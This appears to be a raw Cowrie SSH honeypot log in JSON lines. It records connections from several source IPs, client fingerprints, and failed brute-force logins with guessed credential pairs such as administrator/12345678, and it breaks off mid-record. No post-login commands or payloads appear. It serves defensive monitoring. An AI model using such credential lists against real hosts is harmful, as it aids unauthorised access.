{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":49784,"dst_ip":"10.17.0.5","dst_port":22,"session":"298a77e7744d","protocol":"ssh","message":"New connection: 198.98.55.71:49784 (10.17.0.5:22) [session: 298a77e7744d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:11.156780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:11.161571Z","src_ip":"198.98.55.71","session":"298a77e7744d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:11.167161Z","src_ip":"198.98.55.71","session":"298a77e7744d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123456","message":"login attempt [reza/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:11.218425Z","src_ip":"198.98.55.71","session":"298a77e7744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:12.228579Z","src_ip":"198.98.55.71","session":"298a77e7744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:14.093072Z","src_ip":"40.124.174.73","session":"22e32c4c3f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39756,"dst_ip":"159.203.135.109","dst_port":22,"session":"adcdeab15256","protocol":"ssh","message":"New connection: 159.203.92.129:39756 (159.203.135.109:22) [session: adcdeab15256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:24.163757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:24.168425Z","src_ip":"159.203.92.129","session":"adcdeab15256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:24.173525Z","src_ip":"159.203.92.129","session":"adcdeab15256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:24.185081Z","src_ip":"159.203.92.129","session":"adcdeab15256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:25.192849Z","src_ip":"159.203.92.129","session":"adcdeab15256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":39538,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd52785ed238","protocol":"ssh","message":"New connection: 198.98.55.71:39538 (10.17.0.5:22) [session: cd52785ed238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:58.467692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:58.471704Z","src_ip":"198.98.55.71","session":"cd52785ed238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:58.476532Z","src_ip":"198.98.55.71","session":"cd52785ed238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"159753","message":"login attempt [ubuntu/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:58.531091Z","src_ip":"198.98.55.71","session":"cd52785ed238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:59.538201Z","src_ip":"198.98.55.71","session":"cd52785ed238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":21643,"dst_ip":"159.203.135.109","dst_port":22,"session":"3316d6665ea4","protocol":"ssh","message":"New connection: 125.166.19.90:21643 (159.203.135.109:22) [session: 3316d6665ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:04.083713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:04.092057Z","src_ip":"125.166.19.90","session":"3316d6665ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:04.376617Z","src_ip":"125.166.19.90","session":"3316d6665ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"PostgreSQL","message":"login attempt [postgres/PostgreSQL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:06.270962Z","src_ip":"125.166.19.90","session":"3316d6665ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:07.550206Z","src_ip":"125.166.19.90","session":"3316d6665ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36568,"dst_ip":"159.203.135.109","dst_port":22,"session":"62f56d415bee","protocol":"ssh","message":"New connection: 159.203.92.129:36568 (159.203.135.109:22) [session: 62f56d415bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:12.429352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:12.904907Z","src_ip":"159.203.92.129","session":"62f56d415bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:12.908803Z","src_ip":"159.203.92.129","session":"62f56d415bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234567","message":"login attempt [administrator/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:13.706159Z","src_ip":"159.203.92.129","session":"62f56d415bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:15.026682Z","src_ip":"159.203.92.129","session":"62f56d415bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":59036,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d636015e19","protocol":"ssh","message":"New connection: 198.98.55.71:59036 (10.17.0.5:22) [session: e1d636015e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:47.382036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:47.387175Z","src_ip":"198.98.55.71","session":"e1d636015e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:47.392488Z","src_ip":"198.98.55.71","session":"e1d636015e19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"team","message":"login attempt [teamspeak/team] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:47.442632Z","src_ip":"198.98.55.71","session":"e1d636015e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:48.449900Z","src_ip":"198.98.55.71","session":"e1d636015e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53146,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a688b353f0","protocol":"ssh","message":"New connection: 159.203.92.129:53146 (159.203.135.109:22) [session: 96a688b353f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:55.095719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:55.100546Z","src_ip":"159.203.92.129","session":"96a688b353f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:55.107440Z","src_ip":"159.203.92.129","session":"96a688b353f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:55.121199Z","src_ip":"159.203.92.129","session":"96a688b353f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:00:56.127777Z","src_ip":"159.203.92.129","session":"96a688b353f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44888,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa61dc86e8e","protocol":"ssh","message":"New connection: 159.203.92.129:44888 (159.203.135.109:22) [session: 7fa61dc86e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:35.301600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:01:35.306276Z","src_ip":"159.203.92.129","session":"7fa61dc86e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 